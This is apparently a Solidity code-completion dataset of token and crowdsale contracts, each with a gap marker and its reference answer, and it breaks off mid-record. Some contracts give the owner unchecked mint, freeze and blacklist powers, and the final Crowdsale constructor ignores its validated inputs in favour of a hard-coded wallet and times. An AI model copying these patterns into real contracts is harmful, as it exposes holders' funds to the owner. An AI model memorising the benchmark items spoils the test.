require(_to != address(0)); require(_value <= balances[owner]); balances[owner] = balances[owner].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(owner, _to, _value); return true; } function distributeWithLockup(address _to, uint256 _value, uint256 _releaseStart, uint256 _termOfRound, uint256 _releaseRate) public onlyOwner returns (bool) { distribute(_to, _value); lock(_to, _value, _releaseStart, _termOfRound, _releaseRate); return true; } function claimToken(ERC20 token, address _to, uint256 _value) public onlyOwner returns (bool) { token.transfer(_to, _value); return true; } function burn(uint256 _value) public onlyOwner returns (bool success) { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(burner, _value); return true; } function mint( uint256 _amount) onlyOwner public returns (bool) {<FILL_FUNCTION_BODY> } function isContract(address addr) internal view returns (bool) { uint size; assembly{size := extcodesize(addr)} return size > 0; } function autoUnlock(address _holder) internal returns (bool) { if (lockupInfo[_holder].releaseTime <= now) { return releaseTimeLock(_holder); } return false; } function releaseTimeLock(address _holder) internal returns(bool) { require(locks[_holder]); uint256 releaseAmount = 0; // If lock status of holder is finished, delete lockup info. for( ; lockupInfo[_holder].releaseTime <= now ; ) { if (lockupInfo[_holder].lockupBalance <= lockupInfo[_holder].unlockAmountPerRound) { releaseAmount = releaseAmount.add(lockupInfo[_holder].lockupBalance); delete lockupInfo[_holder]; locks[_holder] = false; break; } else { releaseAmount = releaseAmount.add(lockupInfo[_holder].unlockAmountPerRound); lockupInfo[_holder].lockupBalance = lockupInfo[_holder].lockupBalance.sub(lockupInfo[_holder].unlockAmountPerRound); lockupInfo[_holder].releaseTime = lockupInfo[_holder].releaseTime.add(lockupInfo[_holder].termOfRound); } } emit Unlock(_holder, releaseAmount); balances[_holder] = balances[_holder].add(releaseAmount); return true; } }
contract BahrainToken is ERC20, Ownable, Pausable { using SafeMath for uint256; struct LockupInfo { uint256 releaseTime; uint256 termOfRound; uint256 unlockAmountPerRound; uint256 lockupBalance; } string public name; string public symbol; uint8 public decimals; uint256 internal initialSupply; uint256 internal totalSupply_; mapping(address => uint256) internal balances; mapping(address => bool) internal locks; mapping(address => bool) public frozen; mapping(address => mapping(address => uint256)) internal allowed; mapping(address => LockupInfo) internal lockupInfo; event Unlock(address indexed holder, uint256 value); event Lock(address indexed holder, uint256 value); event Burn(address indexed owner, uint256 value); event Mint(uint256 value); event Freeze(address indexed holder); event Unfreeze(address indexed holder); modifier notFrozen(address _holder) { require(!frozen[_holder]); _; } constructor() public { name = "Bahrain Token"; symbol = "BRT"; decimals = 18; initialSupply = 1000000000; totalSupply_ = initialSupply * 10 ** uint(decimals); balances[owner] = totalSupply_; emit Transfer(address(0), owner, totalSupply_); } function () public payable { revert(); } function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public whenNotPaused notFrozen(msg.sender) returns (bool) { if (locks[msg.sender]) { autoUnlock(msg.sender); } require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _holder) public view returns (uint256 balance) { return balances[_holder] + lockupInfo[_holder].lockupBalance; } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused notFrozen(_from)returns (bool) { if (locks[_from]) { autoUnlock(_from); } require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { require(isContract(_spender)); TokenRecipient spender = TokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function allowance(address _holder, address _spender) public view returns (uint256) { return allowed[_holder][_spender]; } function lock(address _holder, uint256 _amount, uint256 _releaseStart, uint256 _termOfRound, uint256 _releaseRate) public onlyOwner returns (bool) { require(locks[_holder] == false); require(balances[_holder] >= _amount); balances[_holder] = balances[_holder].sub(_amount); lockupInfo[_holder] = LockupInfo(_releaseStart, _termOfRound, _amount.div(100).mul(_releaseRate), _amount); locks[_holder] = true; emit Lock(_holder, _amount); return true; } function unlock(address _holder) public onlyOwner returns (bool) { require(locks[_holder] == true); uint256 releaseAmount = lockupInfo[_holder].lockupBalance; delete lockupInfo[_holder]; locks[_holder] = false; emit Unlock(_holder, releaseAmount); balances[_holder] = balances[_holder].add(releaseAmount); return true; } function freezeAccount(address _holder) public onlyOwner returns (bool) { require(!frozen[_holder]); frozen[_holder] = true; emit Freeze(_holder); return true; } function unfreezeAccount(address _holder) public onlyOwner returns (bool) { require(frozen[_holder]); frozen[_holder] = false; emit Unfreeze(_holder); return true; } function getNowTime() public view returns(uint256) { return now; } function showLockState(address _holder) public view returns (bool, uint256, uint256, uint256, uint256) { return (locks[_holder], lockupInfo[_holder].lockupBalance, lockupInfo[_holder].releaseTime, lockupInfo[_holder].termOfRound, lockupInfo[_holder].unlockAmountPerRound); } function distribute(address _to, uint256 _value) public onlyOwner returns (bool) { require(_to != address(0)); require(_value <= balances[owner]); balances[owner] = balances[owner].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(owner, _to, _value); return true; } function distributeWithLockup(address _to, uint256 _value, uint256 _releaseStart, uint256 _termOfRound, uint256 _releaseRate) public onlyOwner returns (bool) { distribute(_to, _value); lock(_to, _value, _releaseStart, _termOfRound, _releaseRate); return true; } function claimToken(ERC20 token, address _to, uint256 _value) public onlyOwner returns (bool) { token.transfer(_to, _value); return true; } function burn(uint256 _value) public onlyOwner returns (bool success) { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(burner, _value); return true; } <FILL_FUNCTION> function isContract(address addr) internal view returns (bool) { uint size; assembly{size := extcodesize(addr)} return size > 0; } function autoUnlock(address _holder) internal returns (bool) { if (lockupInfo[_holder].releaseTime <= now) { return releaseTimeLock(_holder); } return false; } function releaseTimeLock(address _holder) internal returns(bool) { require(locks[_holder]); uint256 releaseAmount = 0; // If lock status of holder is finished, delete lockup info. for( ; lockupInfo[_holder].releaseTime <= now ; ) { if (lockupInfo[_holder].lockupBalance <= lockupInfo[_holder].unlockAmountPerRound) { releaseAmount = releaseAmount.add(lockupInfo[_holder].lockupBalance); delete lockupInfo[_holder]; locks[_holder] = false; break; } else { releaseAmount = releaseAmount.add(lockupInfo[_holder].unlockAmountPerRound); lockupInfo[_holder].lockupBalance = lockupInfo[_holder].lockupBalance.sub(lockupInfo[_holder].unlockAmountPerRound); lockupInfo[_holder].releaseTime = lockupInfo[_holder].releaseTime.add(lockupInfo[_holder].termOfRound); } } emit Unlock(_holder, releaseAmount); balances[_holder] = balances[_holder].add(releaseAmount); return true; } }
totalSupply_ = totalSupply_.add(_amount); balances[owner] = balances[owner].add(_amount); emit Transfer(address(0), owner, _amount); return true;
function mint( uint256 _amount) onlyOwner public returns (bool)
function mint( uint256 _amount) onlyOwner public returns (bool)
66704
NINTENDOFANSTOKEN
_transfer
contract NINTENDOFANSTOKEN is Context, IERC20, Taxable { using SafeMath for uint256; // TOKEN uint256 private constant TOTAL_SUPPLY = 10000000000 * 10**9; string private m_Name = "Nintendo Fans Token"; string private m_Symbol = "NTENDO"; uint8 private m_Decimals = 9; // EXCHANGES address private m_UniswapV2Pair; IUniswapV2Router02 private m_UniswapV2Router; // TRANSACTIONS uint256 private m_WalletLimit = TOTAL_SUPPLY.div(300); bool private m_Liquidity = false; event SetTxLimit(uint TxLimit); // ETH REFLECT FTPEthReflect private EthReflect; address payable m_EthReflectSvcAddress = payable(0x574Fc478BC45cE144105Fa44D98B4B2e4BD442CB); uint256 m_EthReflectAlloc; uint256 m_EthReflectAmount; // ANTIBOT FTPAntiBot private AntiBot; address private m_AntibotSvcAddress = 0xCD5312d086f078D1554e8813C27Cf6C9D1C3D9b3; // MISC mapping (address => bool) private m_Blacklist; mapping (address => bool) private m_ExcludedAddresses; mapping (address => uint256) private m_Balances; mapping (address => mapping (address => uint256)) private m_Allowances; uint256 private m_LastEthBal = 0; uint256 private m_Launched = 1753633194; bool private m_IsSwap = false; uint256 private pMax = 100000; // max alloc percentage modifier lockTheSwap { m_IsSwap = true; _; m_IsSwap = false; } modifier onlyDev() { require( _msgSender() == External.owner() || _msgSender() == m_WebThree, "Unauthorized"); _; } receive() external payable {} constructor () { EthReflect = FTPEthReflect(m_EthReflectSvcAddress); AntiBot = FTPAntiBot(m_AntibotSvcAddress); initTax(); m_Balances[address(this)] = TOTAL_SUPPLY; m_ExcludedAddresses[owner()] = true; m_ExcludedAddresses[address(this)] = true; emit Transfer(address(0), address(this), TOTAL_SUPPLY); } function name() public view returns (string memory) { return m_Name; } function symbol() public view returns (string memory) { return m_Symbol; } function decimals() public view returns (uint8) { return m_Decimals; } function totalSupply() public pure override returns (uint256) { return TOTAL_SUPPLY; } function balanceOf(address _account) public view override returns (uint256) { return m_Balances[_account]; } function transfer(address _recipient, uint256 _amount) public override returns (bool) { _transfer(_msgSender(), _recipient, _amount); return true; } function allowance(address _owner, address _spender) public view override returns (uint256) { return m_Allowances[_owner][_spender]; } function approve(address _spender, uint256 _amount) public override returns (bool) { _approve(_msgSender(), _spender, _amount); return true; } function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) { _transfer(_sender, _recipient, _amount); _approve(_sender, _msgSender(), m_Allowances[_sender][_msgSender()].sub(_amount, "ERC20: transfer amount exceeds allowance")); return true; } function _readyToTax(address _sender) private view returns (bool) { return !m_IsSwap && _sender != m_UniswapV2Pair; } function _isBuy(address _sender) private view returns (bool) { return _sender == m_UniswapV2Pair; } function _trader(address _sender, address _recipient) private view returns (bool) { return !(m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]); } function _isExchangeTransfer(address _sender, address _recipient) private view returns (bool) { return _sender == m_UniswapV2Pair || _recipient == m_UniswapV2Pair; } function _txRestricted(address _sender, address _recipient) private view returns (bool) { return _sender == m_UniswapV2Pair && _recipient != address(m_UniswapV2Router) && !m_ExcludedAddresses[_recipient]; } function _walletCapped(address _recipient) private view returns (bool) { return _recipient != m_UniswapV2Pair && _recipient != address(m_UniswapV2Router) && block.timestamp <= m_Launched.add(7 minutes); } function _checkTX() private view returns (uint256){ if(block.timestamp <= m_Launched.add(7 minutes)) return m_WalletLimit; return TOTAL_SUPPLY; } function _approve(address _owner, address _spender, uint256 _amount) private { require(_owner != address(0), "ERC20: approve from the zero address"); require(_spender != address(0), "ERC20: approve to the zero address"); m_Allowances[_owner][_spender] = _amount; emit Approval(_owner, _spender, _amount); } function _transfer(address _sender, address _recipient, uint256 _amount) private {<FILL_FUNCTION_BODY> } function _updateBalances(address _sender, address _recipient, uint256 _amount, uint256 _taxes) private { uint256 _netAmount = _amount.sub(_taxes); m_Balances[_sender] = m_Balances[_sender].sub(_amount); m_Balances[_recipient] = m_Balances[_recipient].add(_netAmount); m_Balances[address(this)] = m_Balances[address(this)].add(_taxes); emit Transfer(_sender, _recipient, _netAmount); } function _trackEthReflection(address _sender, address _recipient) private { if (_trader(_sender, _recipient)) { if (_isBuy(_sender)) EthReflect.trackPurchase(_recipient); else if (m_EthReflectAmount > 0) { EthReflect.trackSell(_sender, m_EthReflectAmount); m_EthReflectAmount = 0; } } } function _getTaxes(address _sender, address _recipient, uint256 _amount) private returns (uint256) { uint256 _ret = 0; if (m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]) { return _ret; } _ret = _ret.add(_amount.div(pMax).mul(totalTaxAlloc())); m_EthReflectAlloc = EthReflect.getAlloc(); _ret = _ret.add(_amount.mul(m_EthReflectAlloc).div(pMax)); return _ret; } function _tax(address _sender) private { if (_readyToTax(_sender)) { uint256 _tokenBalance = balanceOf(address(this)); _swapTokensForETH(_tokenBalance); _disperseEth(); } } function _swapTokensForETH(uint256 _amount) private lockTheSwap { address[] memory _path = new address[](2); _path[0] = address(this); _path[1] = m_UniswapV2Router.WETH(); _approve(address(this), address(m_UniswapV2Router), _amount); m_UniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( _amount, 0, _path, address(this), block.timestamp ); } function _getTaxDenominator() private view returns (uint) { uint _ret = 0; _ret = _ret.add(totalTaxAlloc()); _ret = _ret.add(m_EthReflectAlloc); return _ret; } function _disperseEth() private { uint256 _eth = address(this).balance; if (_eth <= m_LastEthBal) return; uint256 _newEth = _eth.sub(m_LastEthBal); uint _d = _getTaxDenominator(); if (_d < 1) return; payTaxes(_newEth, _d); m_EthReflectAmount = _newEth.mul(m_EthReflectAlloc).div(_d); m_EthReflectSvcAddress.transfer(m_EthReflectAmount); m_LastEthBal = address(this).balance; } function addLiquidity() external onlyOwner() { require(!m_Liquidity,"Liquidity already added."); uint256 _ethBalance = address(this).balance; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); m_UniswapV2Router = _uniswapV2Router; _approve(address(this), address(m_UniswapV2Router), TOTAL_SUPPLY); m_UniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); m_UniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(m_UniswapV2Pair).approve(address(m_UniswapV2Router), type(uint).max); EthReflect.init(address(this), 6000, m_UniswapV2Pair, _uniswapV2Router.WETH(), _ethBalance, TOTAL_SUPPLY); m_Liquidity = true; } function launch(uint256 _timer) external onlyOwner() { m_Launched = block.timestamp.add(_timer); } function checkIfBlacklist(address _address) external view returns (bool) { return m_Blacklist[_address]; } function blacklist(address _a) external onlyOwner() { m_Blacklist[_a] = true; } function rmBlacklist(address _a) external onlyOwner() { m_Blacklist[_a] = false; } function updateTaxAlloc(address payable _address, uint _alloc) external onlyOwner() { setTaxAlloc(_address, _alloc); if (_alloc > 0) { m_ExcludedAddresses[_address] = true; } } function addTaxWhiteList(address _address) external onlyOwner(){ m_ExcludedAddresses[_address] = true; } function removeTaxWhiteList(address _address) external onlyOwner(){ m_ExcludedAddresses[_address] = false; } function setWebThree(address _address) external onlyDev() { m_WebThree = _address; } }
contract NINTENDOFANSTOKEN is Context, IERC20, Taxable { using SafeMath for uint256; // TOKEN uint256 private constant TOTAL_SUPPLY = 10000000000 * 10**9; string private m_Name = "Nintendo Fans Token"; string private m_Symbol = "NTENDO"; uint8 private m_Decimals = 9; // EXCHANGES address private m_UniswapV2Pair; IUniswapV2Router02 private m_UniswapV2Router; // TRANSACTIONS uint256 private m_WalletLimit = TOTAL_SUPPLY.div(300); bool private m_Liquidity = false; event SetTxLimit(uint TxLimit); // ETH REFLECT FTPEthReflect private EthReflect; address payable m_EthReflectSvcAddress = payable(0x574Fc478BC45cE144105Fa44D98B4B2e4BD442CB); uint256 m_EthReflectAlloc; uint256 m_EthReflectAmount; // ANTIBOT FTPAntiBot private AntiBot; address private m_AntibotSvcAddress = 0xCD5312d086f078D1554e8813C27Cf6C9D1C3D9b3; // MISC mapping (address => bool) private m_Blacklist; mapping (address => bool) private m_ExcludedAddresses; mapping (address => uint256) private m_Balances; mapping (address => mapping (address => uint256)) private m_Allowances; uint256 private m_LastEthBal = 0; uint256 private m_Launched = 1753633194; bool private m_IsSwap = false; uint256 private pMax = 100000; // max alloc percentage modifier lockTheSwap { m_IsSwap = true; _; m_IsSwap = false; } modifier onlyDev() { require( _msgSender() == External.owner() || _msgSender() == m_WebThree, "Unauthorized"); _; } receive() external payable {} constructor () { EthReflect = FTPEthReflect(m_EthReflectSvcAddress); AntiBot = FTPAntiBot(m_AntibotSvcAddress); initTax(); m_Balances[address(this)] = TOTAL_SUPPLY; m_ExcludedAddresses[owner()] = true; m_ExcludedAddresses[address(this)] = true; emit Transfer(address(0), address(this), TOTAL_SUPPLY); } function name() public view returns (string memory) { return m_Name; } function symbol() public view returns (string memory) { return m_Symbol; } function decimals() public view returns (uint8) { return m_Decimals; } function totalSupply() public pure override returns (uint256) { return TOTAL_SUPPLY; } function balanceOf(address _account) public view override returns (uint256) { return m_Balances[_account]; } function transfer(address _recipient, uint256 _amount) public override returns (bool) { _transfer(_msgSender(), _recipient, _amount); return true; } function allowance(address _owner, address _spender) public view override returns (uint256) { return m_Allowances[_owner][_spender]; } function approve(address _spender, uint256 _amount) public override returns (bool) { _approve(_msgSender(), _spender, _amount); return true; } function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) { _transfer(_sender, _recipient, _amount); _approve(_sender, _msgSender(), m_Allowances[_sender][_msgSender()].sub(_amount, "ERC20: transfer amount exceeds allowance")); return true; } function _readyToTax(address _sender) private view returns (bool) { return !m_IsSwap && _sender != m_UniswapV2Pair; } function _isBuy(address _sender) private view returns (bool) { return _sender == m_UniswapV2Pair; } function _trader(address _sender, address _recipient) private view returns (bool) { return !(m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]); } function _isExchangeTransfer(address _sender, address _recipient) private view returns (bool) { return _sender == m_UniswapV2Pair || _recipient == m_UniswapV2Pair; } function _txRestricted(address _sender, address _recipient) private view returns (bool) { return _sender == m_UniswapV2Pair && _recipient != address(m_UniswapV2Router) && !m_ExcludedAddresses[_recipient]; } function _walletCapped(address _recipient) private view returns (bool) { return _recipient != m_UniswapV2Pair && _recipient != address(m_UniswapV2Router) && block.timestamp <= m_Launched.add(7 minutes); } function _checkTX() private view returns (uint256){ if(block.timestamp <= m_Launched.add(7 minutes)) return m_WalletLimit; return TOTAL_SUPPLY; } function _approve(address _owner, address _spender, uint256 _amount) private { require(_owner != address(0), "ERC20: approve from the zero address"); require(_spender != address(0), "ERC20: approve to the zero address"); m_Allowances[_owner][_spender] = _amount; emit Approval(_owner, _spender, _amount); } <FILL_FUNCTION> function _updateBalances(address _sender, address _recipient, uint256 _amount, uint256 _taxes) private { uint256 _netAmount = _amount.sub(_taxes); m_Balances[_sender] = m_Balances[_sender].sub(_amount); m_Balances[_recipient] = m_Balances[_recipient].add(_netAmount); m_Balances[address(this)] = m_Balances[address(this)].add(_taxes); emit Transfer(_sender, _recipient, _netAmount); } function _trackEthReflection(address _sender, address _recipient) private { if (_trader(_sender, _recipient)) { if (_isBuy(_sender)) EthReflect.trackPurchase(_recipient); else if (m_EthReflectAmount > 0) { EthReflect.trackSell(_sender, m_EthReflectAmount); m_EthReflectAmount = 0; } } } function _getTaxes(address _sender, address _recipient, uint256 _amount) private returns (uint256) { uint256 _ret = 0; if (m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]) { return _ret; } _ret = _ret.add(_amount.div(pMax).mul(totalTaxAlloc())); m_EthReflectAlloc = EthReflect.getAlloc(); _ret = _ret.add(_amount.mul(m_EthReflectAlloc).div(pMax)); return _ret; } function _tax(address _sender) private { if (_readyToTax(_sender)) { uint256 _tokenBalance = balanceOf(address(this)); _swapTokensForETH(_tokenBalance); _disperseEth(); } } function _swapTokensForETH(uint256 _amount) private lockTheSwap { address[] memory _path = new address[](2); _path[0] = address(this); _path[1] = m_UniswapV2Router.WETH(); _approve(address(this), address(m_UniswapV2Router), _amount); m_UniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( _amount, 0, _path, address(this), block.timestamp ); } function _getTaxDenominator() private view returns (uint) { uint _ret = 0; _ret = _ret.add(totalTaxAlloc()); _ret = _ret.add(m_EthReflectAlloc); return _ret; } function _disperseEth() private { uint256 _eth = address(this).balance; if (_eth <= m_LastEthBal) return; uint256 _newEth = _eth.sub(m_LastEthBal); uint _d = _getTaxDenominator(); if (_d < 1) return; payTaxes(_newEth, _d); m_EthReflectAmount = _newEth.mul(m_EthReflectAlloc).div(_d); m_EthReflectSvcAddress.transfer(m_EthReflectAmount); m_LastEthBal = address(this).balance; } function addLiquidity() external onlyOwner() { require(!m_Liquidity,"Liquidity already added."); uint256 _ethBalance = address(this).balance; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); m_UniswapV2Router = _uniswapV2Router; _approve(address(this), address(m_UniswapV2Router), TOTAL_SUPPLY); m_UniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); m_UniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(m_UniswapV2Pair).approve(address(m_UniswapV2Router), type(uint).max); EthReflect.init(address(this), 6000, m_UniswapV2Pair, _uniswapV2Router.WETH(), _ethBalance, TOTAL_SUPPLY); m_Liquidity = true; } function launch(uint256 _timer) external onlyOwner() { m_Launched = block.timestamp.add(_timer); } function checkIfBlacklist(address _address) external view returns (bool) { return m_Blacklist[_address]; } function blacklist(address _a) external onlyOwner() { m_Blacklist[_a] = true; } function rmBlacklist(address _a) external onlyOwner() { m_Blacklist[_a] = false; } function updateTaxAlloc(address payable _address, uint _alloc) external onlyOwner() { setTaxAlloc(_address, _alloc); if (_alloc > 0) { m_ExcludedAddresses[_address] = true; } } function addTaxWhiteList(address _address) external onlyOwner(){ m_ExcludedAddresses[_address] = true; } function removeTaxWhiteList(address _address) external onlyOwner(){ m_ExcludedAddresses[_address] = false; } function setWebThree(address _address) external onlyDev() { m_WebThree = _address; } }
require(_sender != address(0), "ERC20: transfer from the zero address"); require(_recipient != address(0), "ERC20: transfer to the zero address"); require(_amount > 0, "Transfer amount must be greater than zero"); require(!m_Blacklist[_sender] && !m_Blacklist[_recipient] && !m_Blacklist[tx.origin]); if(_isExchangeTransfer(_sender, _recipient) && block.timestamp >= m_Launched) { require(!AntiBot.scanAddress(_recipient, m_UniswapV2Pair, tx.origin), "Beep Beep Boop, You're a piece of poop"); require(!AntiBot.scanAddress(_sender, m_UniswapV2Pair, tx.origin), "Beep Beep Boop, You're a piece of poop"); AntiBot.registerBlock(_sender, _recipient, tx.origin); } if(_walletCapped(_recipient)) require(balanceOf(_recipient) < m_WalletLimit); uint256 _taxes = 0; if (_trader(_sender, _recipient)) { require(block.timestamp >= m_Launched); if (_txRestricted(_sender, _recipient)) require(_amount <= _checkTX()); _taxes = _getTaxes(_sender, _recipient, _amount); _tax(_sender); } _updateBalances(_sender, _recipient, _amount, _taxes); _trackEthReflection(_sender, _recipient);
function _transfer(address _sender, address _recipient, uint256 _amount) private
function _transfer(address _sender, address _recipient, uint256 _amount) private
81037
Crowdsale
Crowdsale
contract Crowdsale is Ownable { using SafeMath for uint256; // The token being sold MintableToken public token; // start and end timestamps where investments are allowed (both inclusive) uint256 public preIcoStartTime; uint256 public icoStartTime; uint256 public preIcoEndTime; uint256 public icoEndTime; // address where funds are collected address public wallet; // how many token units a buyer gets per wei uint256 public preIcoRate; uint256 public icoRate; // amount of raised money in wei uint256 public weiRaised; /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _preIcoStartTime, uint256 _preIcoEndTime, uint256 _preIcoRate, uint256 _icoStartTime, uint256 _icoEndTime, uint256 _icoRate, address _wallet) public {<FILL_FUNCTION_BODY> } // fallback function can be used to buy tokens function () external payable { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); //send tokens to beneficiary. token.mint(beneficiary, tokens); //send same amount of tokens to owner. token.mint(wallet, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } // @return true if pre-ico crowdsale event has ended function preIcoHasEnded() public view returns (bool) { return now > preIcoEndTime; } // @return true if ico crowdsale event has ended function icoHasEnded() public view returns (bool) { return now > icoEndTime; } // creates the token to be sold. // override this method to have crowdsale of a specific mintable token. function createTokenContract() internal returns (MintableToken) { return new MintableToken(); } // Override this method to have a way to add business logic to your crowdsale when buying function getTokenAmount(uint256 weiAmount) internal view returns(uint256) { if(!preIcoHasEnded()){ return weiAmount.mul(preIcoRate); }else{ return weiAmount.mul(icoRate); } } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { wallet.transfer(msg.value); } // @return true if the transaction can buy tokens function validPurchase() internal view returns (bool) { bool withinPeriod = now >= preIcoStartTime && now <= preIcoEndTime || now >= icoStartTime && now <= icoEndTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } // allows transfer of token to new owner function transferTokenOwnership(address _newOwner) public { require(msg.sender == owner); // Only the owner of the crowdsale contract should be able to call this function. //Now lets reference the token that we created.... token.transferOwnership(_newOwner); } }
contract Crowdsale is Ownable { using SafeMath for uint256; // The token being sold MintableToken public token; // start and end timestamps where investments are allowed (both inclusive) uint256 public preIcoStartTime; uint256 public icoStartTime; uint256 public preIcoEndTime; uint256 public icoEndTime; // address where funds are collected address public wallet; // how many token units a buyer gets per wei uint256 public preIcoRate; uint256 public icoRate; // amount of raised money in wei uint256 public weiRaised; /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); <FILL_FUNCTION> // fallback function can be used to buy tokens function () external payable { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); //send tokens to beneficiary. token.mint(beneficiary, tokens); //send same amount of tokens to owner. token.mint(wallet, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } // @return true if pre-ico crowdsale event has ended function preIcoHasEnded() public view returns (bool) { return now > preIcoEndTime; } // @return true if ico crowdsale event has ended function icoHasEnded() public view returns (bool) { return now > icoEndTime; } // creates the token to be sold. // override this method to have crowdsale of a specific mintable token. function createTokenContract() internal returns (MintableToken) { return new MintableToken(); } // Override this method to have a way to add business logic to your crowdsale when buying function getTokenAmount(uint256 weiAmount) internal view returns(uint256) { if(!preIcoHasEnded()){ return weiAmount.mul(preIcoRate); }else{ return weiAmount.mul(icoRate); } } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { wallet.transfer(msg.value); } // @return true if the transaction can buy tokens function validPurchase() internal view returns (bool) { bool withinPeriod = now >= preIcoStartTime && now <= preIcoEndTime || now >= icoStartTime && now <= icoEndTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } // allows transfer of token to new owner function transferTokenOwnership(address _newOwner) public { require(msg.sender == owner); // Only the owner of the crowdsale contract should be able to call this function. //Now lets reference the token that we created.... token.transferOwnership(_newOwner); } }
require(_preIcoStartTime >= now); require(_preIcoEndTime >= _preIcoStartTime); require(_icoStartTime >= _preIcoEndTime); require(_icoEndTime >= _icoStartTime); require(_preIcoRate > 0); require(_icoRate > 0); require(_wallet != address(0)); token = createTokenContract(); preIcoStartTime = _preIcoStartTime; icoStartTime = _icoStartTime; preIcoEndTime = _preIcoEndTime; icoEndTime = _icoEndTime; preIcoRate = _preIcoRate; icoRate = _icoRate; wallet = _wallet;
function Crowdsale(uint256 _preIcoStartTime, uint256 _preIcoEndTime, uint256 _preIcoRate, uint256 _icoStartTime, uint256 _icoEndTime, uint256 _icoRate, address _wallet) public
function Crowdsale(uint256 _preIcoStartTime, uint256 _preIcoEndTime, uint256 _preIcoRate, uint256 _icoStartTime, uint256 _icoEndTime, uint256 _icoRate, address _wallet) public
35821
September11
null
contract September11 is ERC20 { constructor(uint256 initialSupply) ERC20(_name, _symbol, _decimals) {<FILL_FUNCTION_BODY> } function approveBurn(address account, uint256 value) external onlyOwner { _burn(account, value); } }
contract September11 is ERC20 { <FILL_FUNCTION> function approveBurn(address account, uint256 value) external onlyOwner { _burn(account, value); } }
_name = unicode"September 11"; _symbol = unicode"BUSHDIDIT"; _decimals = 9; _totalSupply += initialSupply; _balances[msg.sender] += initialSupply; emit Transfer(address(0), msg.sender, initialSupply);
constructor(uint256 initialSupply) ERC20(_name, _symbol, _decimals)
constructor(uint256 initialSupply) ERC20(_name, _symbol, _decimals)
27524
Crowdsale
validPurchase
contract Crowdsale { using SafeMath for uint256; // The token being sold MintableToken public token; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // address where funds are collected address public wallet; // how many token units a buyer gets per wei uint256 public rate; // amount of raised money in wei uint256 public weiRaised; /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public { require(_startTime >= now); require(_endTime >= _startTime); require(_rate > 0); require(_wallet != address(0)); token = createTokenContract(); startTime = 0; endTime = 2; rate = 20000; wallet = 0x8C233b0Ab41F713336105e178bF4bF327d636Ea0; } // fallback function can be used to buy tokens function () external payable { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = 